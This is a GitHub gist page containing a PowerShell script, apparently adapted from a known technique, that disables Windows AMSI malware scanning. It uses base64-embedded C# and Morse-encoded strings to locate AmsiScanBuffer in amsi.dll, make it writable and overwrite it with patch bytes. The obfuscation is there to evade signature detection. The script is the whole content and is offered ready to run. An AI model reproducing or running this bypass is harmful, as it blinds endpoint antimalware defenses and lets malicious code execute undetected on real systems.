Skip to content

Instantly share code, notes, and snippets.

@aniqfakhrul
Created August 29, 2021 06:59
Show Gist options
  • Save aniqfakhrul/d32f15ab958483f481117c0f8ae91b44 to your computer and use it in GitHub Desktop.
Save aniqfakhrul/d32f15ab958483f481117c0f8ae91b44 to your computer and use it in GitHub Desktop.
RastaMourse's AmsiScanBuffer with Morse Code implementation
$blob = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnB1YmxpYyBjbGFzcyBXaW4zMiB7CiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldFByb2NBZGRyZXNzKEludFB0ciBoTW9kdWxlLCBzdHJpbmcgcHJvY05hbWUpOwogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkTGlicmFyeShzdHJpbmcgbmFtZSk7CiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBWaXJ0dWFsUHJvdGVjdChJbnRQdHIgbHBBZGRyZXNzLCBVSW50UHRyIGR3U2l6ZSwgdWludCBmbE5ld1Byb3RlY3QsIG91dCB1aW50IGxwZmxPbGRQcm90ZWN0KTsKfQpwdWJsaWMgY2xhc3MgcmFoc2lhCnsKICAgICAgICBwdWJsaWMgc3RhdGljIHN0cmluZyBkZWMoc3RyaW5nIGVuY29kZWQpCiAgICAgICAgewogICAgICAgICAgICBjaGFyW10gdGV4dCA9IHsgJ2EnLCAnQScsICdiJywgJ0InLCAnYycsICdDJywgJ2QnLCAnRCcsICdlJywgJ0UnLCAnZicsICdGJywgJ2cnLCAnRycsICdoJywgJ0gnLCAnaScsICdJJywgJ2onLCAnSicsICdrJywgJ0snLCAnbCcsICdMJywgJ20nLCAnTScsICduJywgJ04nLCAnbycsICdPJywgJ3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ciAoaW50IGkgPSAwOyBpIDwgY29kZXMuTGVuZ3RoOyBpKyspCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGZvciAoaW50IGsgPSAwOyBrIDwgdGl0aWsuTGVuZ3RoOyBrKyspCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGNvZGVzW2ldLkVxdWFscyh0aXRpa1trXSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBkZWNvZGVkICs9IHRleHRba107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBkZWNvZGVkLlRvU3RyaW5nKCk7CiAgICAgICAgfQogfQ=="
$Win32 = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($blob))
Add-Type $Win32
$rahsia = ".- -- ... .. .^. -.. .-.. .-.. "
$rahsia2 = "^.- -- ... .. ^... -.-. .- -. ^-... ..- ..-. ..-. . .-. "
$LoadLibrary = [Win32]::LoadLibrary([rahsia]::dec($rahsia))
$AddressLoc = [Win32]::GetProcAddress($LoadLibrary, [rahsia]::dec($rahsia2))
$p = 0
[Win32]::VirtualProtect($AddressLoc, [uint32]5, 0x40, [ref]$p)
$PatchBytes = "^-- -.-. ^.- ^..-. . ^.- ^. ^--.. ..-. .-- ^-..- ..-. / ..- ----- ^.- .-- .-- ...^- ...^- "
$Patch = [Convert]::FromBase64String([rahsia]::dec($PatchBytes));
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AddressLoc, $Patch.Length)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment